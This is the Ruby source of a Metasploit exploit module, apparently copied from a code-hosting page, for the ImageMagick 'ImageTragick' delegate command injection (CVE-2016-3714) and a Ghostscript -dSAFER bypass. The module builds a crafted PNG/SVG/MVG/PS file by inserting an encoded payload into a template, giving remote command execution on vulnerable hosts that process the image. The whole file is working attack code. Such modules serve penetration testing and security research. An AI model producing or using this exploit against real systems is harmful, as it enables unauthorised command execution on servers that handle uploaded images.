107 lines
3.6 KiB
Ruby
107 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit
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Rank = ExcellentRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ImageMagick Delegate Arbitrary Command Execution',
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'Description' => %q{
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This module exploits a shell command injection in the way "delegates"
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(commands for converting files) are processed in ImageMagick versions
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<= 7.0.1-0 and <= 6.9.3-9 (legacy).
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Since ImageMagick uses file magic to detect file format, you can create
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a .png (for example) which is actually a crafted SVG (for example) that
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triggers the command injection.
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The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
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(discovered by taviso) to achieve RCE in the Ghostscript delegate.
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Ghostscript versions 9.18 and later are affected. This target is
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provided as is and will not be updated to track additional vulns.
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If USE_POPEN is set to true, a |-prefixed command will be used for the
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exploit. No delegates are involved in this exploitation.
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},
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'Author' => [
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'stewie', # Vulnerability discovery
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'Nikolay Ermishkin', # Vulnerability discovery
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'Tavis Ormandy', # Vulnerability discovery
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'wvu', # Metasploit module
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'hdm' # Metasploit module
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],
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'References' => [
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%w{CVE 2016-3714},
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%w{CVE 2016-7976},
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%w{URL https://imagetragick.com/},
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%w{URL https://seclists.org/oss-sec/2016/q2/205},
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%w{URL https://seclists.org/oss-sec/2016/q3/682},
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%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
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%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
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%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
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],
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'DisclosureDate' => '2016-05-03',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Payload' => {
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'BadChars' => "\x22\x27\x5c" # ", ', and \
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},
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'Targets' => [
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['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
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['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
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['PS file', template: 'msf.ps'] # PoC from taviso
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],
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [],
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'Reliability' => [],
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'AKA' => ['ImageTragick'],
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'RelatedModules' => [
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'exploit/unix/fileformat/ghostscript_type_confusion',
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'exploit/multi/fileformat/ghostscript_failed_restore'
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]
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}
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))
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register_options([
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OptString.new('FILENAME', [true, 'Output file', 'msf.png']),
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OptBool.new('USE_POPEN', [false, 'Use popen() vector', true])
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])
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end
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def exploit
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if target.name == 'SVG file'
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p = Rex::Text.html_encode(payload.encoded)
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else
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p = payload.encoded
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end
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file_create(template.sub('echo vulnerable > /dev/tty', p))
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end
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def template
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if datastore['USE_POPEN']
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t = 'popen'
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else
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t = 'delegate'
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end
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begin
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File.read(File.join(
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Msf::Config.data_directory, 'exploits', 'imagemagick', t,
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target[:template]
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))
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rescue Errno::ENOENT
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fail_with(Failure::NoTarget, "Target has no #{t} support")
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end
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end
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end
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